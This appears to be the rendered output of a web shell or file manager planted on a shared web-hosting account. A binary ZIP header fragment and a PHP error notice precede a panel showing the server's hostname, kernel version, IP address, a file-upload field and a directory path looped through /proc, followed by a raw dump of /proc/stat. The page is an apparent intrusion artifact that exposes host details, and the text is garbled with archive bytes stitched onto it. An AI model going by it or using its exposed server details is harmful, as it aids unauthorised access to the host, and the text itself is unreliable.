PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/
Notice: ob_end_clean(): Failed to delete buffer. No buffer to delete in /home/telusvwg/public_html/da754d/index.php on line 8
$#$#$#

Dir : /proc/thread-self/root/proc/thread-self/root/proc/self/root/proc/
Server: Linux premium279.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
IP: 66.29.132.192
Choose File :

Url:
Dir : //proc/thread-self/root/proc/thread-self/root/proc/self/root/proc/stat

cpu  19864557592 252021778 4700057235 46647512269 876371419 361763499 534168317 20444276 0 0
cpu0 589026211 7643477 142154591 1420200046 26653913 10445919 23215504 610903 0 0
cpu1 601344512 7641472 142653643 1410713904 26631032 10319501 19964189 613221 0 0
cpu2 603268262 7722480 142982851 1409534593 26655274 10317734 18744029 613344 0 0
cpu3 604032845 7687413 143123701 1409586001 26670740 10314197 17724533 612312 0 0
cpu4 608387803 7669269 142516656 1409361147 26718070 10287535 14316604 609753 0 0
cpu5 607380104 7720468 142705706 1410247825 26695944 10299251 14092420 613744 0 0
cpu6 607924681 7717406 142410530 1410355775 26731743 10262650 13899046 610745 0 0
cpu7 605718659 7705733 142464246 1412539322 26712154 10258129 13802096 611343 0 0
cpu8 608127527 7590368 142546073 1407437686 26599487 10293538 16618789 611079 0 0
cpu9 605947143 7578412 141769163 1410459774 26640733 10252754 16564736 610432 0 0
cpu10 603463084 7618222 142515035 1412245379 26626894 10247448 16561663 611013 0 0
cpu11 605207034 7611755 142348647 1410750536 26610963 10254471 16505284 611124 0 0
cpu12 604155145 7627269 142416923 1411773953 26605700 10269939 16463095 610734 0 0
cpu13 588739246 7506996 148257927 1402778319 25971526 16131680 30114103 654078 0 0
cpu14 587427339 7511934 148377871 1402396733 25905668 17181383 30526618 649985 0 0
cpu15 602596875 7729382 142445573 1413263804 26619717 10233649 16415216 610423 0 0
cpu16 606082076 7609239 141646961 1405709289 26161545 15912058 16137939 718671 0 0
cpu17 602529743 7612300 142327374 1413531251 26497554 10307658 16508504 615046 0 0
cpu18 602636503 7617337 142195658 1413630665 26507926 10393517 16357470 610105 0 0
cpu19 600953931 7660595 142234688 1415354389 26538603 10222132 16354026 614445 0 0
cpu20 603505900 7676759 141627976 1416401588 26573190 10193243 13384549 607112 0 0
cpu21 605034412 7615081 141704465 1415025764 26554415 10172403 13327067 604764 0 0
cpu22 603754576 7664440 141280826 1416541662 26596226 10168616 13363735 609388 0 0
cpu23 602821758 7652675 141502754 1417356081 26520519 10169259 13334336 610022 0 0
cpu24 604821540 7608626 141339073 1415723367 26461538 10170387 13322226 607060 0 0
cpu25 603821476 7604618 141337623 1416569987 26592824 10151534 13306897 610431 0 0
cpu26 603550126 7612317 141557077 1416544874 26575652 10173303 13353457 607788 0 0
cpu27 603192529 7625578 141468638 1417185247 26549503 10147818 13295753 608896 0 0
cpu28 605080126 7573111 141212709 1415642723 26498860 10166418 13269659 610203 0 0
cpu29 603677933 7571822 141333442 1416927747 26524238 10141579 13267324 607637 0 0
cpu30 572270080 7785585 143905468 1442135732 27419709 10374862 14089913 625814 0 0
cpu31 604648213 7611345 140989389 1416358514 26524018 10118441 13235515 606801 0 0
cpu32 603430184 7638278 140703962 1413228576 26225527 15410476 12732008 705845 0 0
intr 175033757038 74 9 0 0 456 0 0 0 21 0 0 0 15 0 21943604 0 0 0 0 0 0 0 0 0 0 0 0 481144225 4237351408 0 64 10 783010489 2596220070 10 715014255 716448746 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 851328927227
btime 1750841947
processes 3651597309
procs_running 33
procs_blocked 0
softirq 110489627667 1 1332052175 58253 2819302777 305613509 0 2178839010 4242047029 5278469 822188636